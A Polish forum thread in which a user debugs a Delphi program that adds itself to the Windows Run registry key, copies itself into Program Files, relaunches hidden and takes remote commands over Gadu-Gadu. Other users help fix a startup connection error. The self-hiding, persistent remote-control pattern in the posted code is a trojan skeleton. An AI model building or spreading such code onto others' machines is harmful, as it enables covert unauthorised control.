[Delphi] [HGG] Socket Error #0 + Connection Closed Gracefull

0

Witam ponownie.
Stworzyłem program, który dodaje się do autostartu (rejestr), łaczy sie z gg i wysyła mi powiadomienie, ze polaczono, po czym moze odbierac dalsze moje instrukcje...

jesli odpalam wlasnie skompilowany plik, wszystko jest wporzadku:

  1. otrzymuje "polaczono"
  2. wydaje polecenie, np. koniec
  3. otrzymuje "<papa>"
  4. program sie wylacza

po ponownym uruchomieniu komputera, gdy dziala juz autostart:

  1. otrzymuje "polaczono"
  2. wydaje polecenie, np. koniec
  3. w tym czasie serwer robi sie niedostepny, ale forma sie nie wylacza, co znaczy ze utracono polaczenie
  4. kilka sekund od startu za pomoca autostartu (czy wydam komende, czy nie) otrzymuje najpierw komunikat "Socket Error #0" , a pozniej powtazajacy sie co kilka sekund "Connection Closed Gracefull"

Nie wiem co z tym zrobic :/ Licze na wasza pomoc, w rozwiazaniu tego problemu ;)

0

daj może kawałek kodu bo takto to nic ci nie powiem ;)

0
{Dopisanie do autostartu(rejestr)}
procedure TForm1.RejestrTimer(Sender: TObject);                                   
var
 Reg: TRegistry;
begin
 Reg := TRegistry.Create;
 Reg.RootKey := HKEY_LOCAL_MACHINE;
 Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',True);
 Reg.WriteString('d2p',Application.ExeName);
 Reg.CloseKey;
end;
{Pozwol na ponowne uruchomienie programu}
procedure TForm1.FormDestroy(Sender: TObject);                                   
begin
CloseHandle(hMapping);
end;
procedure TForm1.FormCreate(Sender: TObject);
var wVersionRequested:WORD;
wsaData:TWSAData;

begin
  hgg1.Connect(500);                                                              //Laczenie z gg
  wVersionRequested := MAKEWORD(1, 1);
WSAStartup(wVersionRequested, wsaData);

 Sciezkad2p := 'C:\Program Files\test';                                            // Utworzenie katalogu podanego w zmiennej
  ForceDirectories(Sciezkad2p);
  If not (ExtractFilePath(Application.exename) = Sciezkad2p + '\') then           // Jeżeli program nie jest uruchomiony w katalogu...
    begin
      Try
        CopyFile(pchar(ExtractFileName(application.exename)),pchar(Sciezkad2p + '\d2p.exe'), true); // ...To zostanie tam przeniesiony...
      except
      end;
      Winexec(pchar(Sciezkad2p + '\d2p.exe'), SW_HIDE);                           // ...I uruchomiony...
      Application.Terminate;                                                      // ... A ta kopia wylaczona
    end;
procedure TForm1.HGG1Login(Sender: TObject);
begin
hgg1.SendMessage(x, 'Polaczono ',[]);
end;
if messageContent='koniec' then
begin
hgg1.SendMessage(x, '<papa> ',[]);
application.terminate;
end;

to chyba tyle ;)

0

hym ciekawe niby wszystko wygląda prawidłowo. później jak znajde czas to przyjrze się dokładniej

0

ok, bede wdzieczny za kazda wskazowke ..

0

A gdy zamykasz pierwszą kompię programu to rozłaczasz się z serwerem gadu ? może tym jest to spowodowane .
O ile dobrze pamiętam to mi pomogała niegdyś zmiana statusu podczas zamykania programu na :

hgg1.Status:=usblocked;

jeśli się mylę to trudno.

0

W jaki sposób łączysz się z internetem? Możliwe, że win jeszcze nie zdążył się połączyć z netem, a Ty już próbujesz coś wysłać do serwera gg.

0

cyriel sluszna uwaga... posiadam radiowke, twoja wersja moze sie okazac poprawna :)

wiec bede musial opoznic laczenie z serwerem gg??

kamerok: ale ten problem nie pojawia sie w momencie odpalenia kopii, tylko w momencie odpalenia kopii po starcie systemu.

0

może łączenie daj w taimerze co np 10 sec w expect a wyłącz go w onlogin hgg ;)

0
cyriel napisał(a)

W jaki sposób łączysz się z internetem? Możliwe, że win jeszcze nie zdążył się połączyć z netem, a Ty już próbujesz coś wysłać do serwera gg.

Faktycznie , masz racje przymonia mie sie jak tak samo wywalało wywaloło błedy u kumpla z radiówką , zrobiłem sobie więc funkcje że dopiero gdy było połącznie z internetem thgg próbował łączyć do serwera gadu-gadu

0

Widze tutaj 3 główne możliwości:
1.Opóźnij połączenie z serwerem - najprostsze, ale najmniej "eleganckie" i nie sprawdzi się u innych użytkowników
2.Obsługa wyjątków -jeśli chcesz, żeby program wypłynął na szerokie wody to prędzej czy później i tak będzie trzeba, może już czas zacząć :> :) Lubie to rozwiązanie, bo jak coś jest nie tak to przeważnie można się dość łatwo dowiedzieć co.
3.Sprawdzenie czy jesteś połączony z netem - uniwersalne.

0

no tak, ale zauwazcie, ze proram sie uruchamia, wysyla mi wiadomosc, ze sie polaczyl i dopiero po wpisaniu komendy "siada". Wczesniej wyskakuja errory, ale serwer utrzymuje sie dostepny (do wpisania komendy) .. czyli polaczenie z siecia musi byc

0

no właśnie. ja kiedyś miałem chyba taki sam problem a rozwiązałem go tak że zamiast polecenia wykonywać prosto z messageconent to przypisywałem do edita i w timerze sprawdzałem komendy po wykonaniu czyściłem edita. niby nic ale pomogło ;)

0

ale to jest dziwne że wyskakują errory hym...
musisz kombinować tyle wiem ;P

0

Moim zdaniem najlepszym rozwiązaniem będzie obsługa wyjątków. Dowiesz się co dokładnie nie/źle działa.

0

dzieki panowie, timer na 1 minutke zalatwil sprawe ;) chociaz nie rozumiem jak to mozlie skoro mnie powiadamial, ale wazne ze dziala. jeszcze raz dzieki.

1 użytkowników online, w tym zalogowanych: 0, gości: 1